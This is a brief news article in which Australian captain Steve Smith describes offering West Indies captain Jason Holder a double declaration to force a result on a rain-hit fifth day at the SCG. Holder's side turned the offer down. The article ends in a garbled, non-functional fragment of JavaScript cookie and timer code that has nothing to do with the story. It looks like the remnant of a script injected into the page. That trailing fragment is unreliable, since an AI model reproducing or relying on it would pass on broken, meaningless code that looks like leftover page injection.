Australian captain Steve Smith revealed last night that he made an offer to West indies captain Jason Holder to add life to an otherwise fruitless day five, which could have no other result than a draw, due to three constant days of rain.
Smith asked Holder if his side was happy to declare immediately at 7-248. Australia would then declare without facing a ball, allowing the Windies to return to the crease and slog their way to a lead of around 370, setting the Aussies a target with around 70 overs left to play, giving both sides and equal opportunity to win.
"He (Holder) said 'give me five minutes' and went over to their team and they had a little huddle and chat or whatever they were doing,” said Smith.
The skipper also revealed that he guaranteed his side would give the Windies around an hour of "lob-up" bowling to allow the tourists to set a large fourth innings target.
"No-one really wants to see a draw, they want to see good exciting cricket with teams winning, Smith said.
"But he (Holder) said their boys weren't up for the challenge. That was unfortunate.
"I thought it was pretty generous, it would have taken some very good batting to get that on a day five SCG wicket.
"We want to try and win every game we play and today was a perfect opportunity to set the game up for a good chase and for the fans that stayed out this afternoon.
"I think that's a fair game for both teams and it's just disappointing they weren't willing to come to the party." "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
